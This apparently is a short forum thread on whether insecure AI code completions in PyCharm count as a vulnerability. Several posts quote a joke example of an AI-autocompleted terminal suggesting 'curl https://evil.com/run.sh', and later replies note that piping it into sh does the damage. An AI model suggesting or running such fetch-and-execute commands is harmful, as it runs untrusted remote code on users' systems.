Are insecure code completions in PyCharm a vulnerability?
sethmlarson.dev
Are insecure code completions in PyCharm a vulnerability?
1–10 of 18 posts
Re: Are insecure code completions in PyCharm a vulnerability?
#2Well, the plugin developers can't really do anything about it.
And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.
Re: Are insecure code completions in PyCharm a vulnerability?
#3It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.
Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.
Re: Are insecure code completions in PyCharm a vulnerability?
#4[deleted]
Re: Are insecure code completions in PyCharm a vulnerability?
#5“ Are insecure code completions a vulnerability?”
No it might be a potential security weakness. Semantics matters.
See also: https://nocomplexity.github.io/pythonsecurity/fundamentals/w...
Re: Are insecure code completions in PyCharm a vulnerability?
#6What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?
Re: Are insecure code completions in PyCharm a vulnerability?
#7Waiting for the first terminal with AI autocompletion.
$ curl http
$ curl https://evil.com/run.sh
Re: Are insecure code completions in PyCharm a vulnerability?
#8It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".
Re: Are insecure code completions in PyCharm a vulnerability?
#9Waiting for the first terminal with AI autocompletion. $ curl http $ curl https://evil.com/run.sh Then you’re just an enter away from causing havoc on your system.
Still missing the pipe into sh.
Re: Are insecure code completions in PyCharm a vulnerability?
#10Waiting for the first terminal with AI autocompletion. $ curl http $ curl https://evil.com/run.sh Then you’re just an enter away from causing havoc on your system.
Well, technically it's not the curl itself that is the problem, but the "| " coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl ; 2) analyse and 3) only if safe, then execute -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.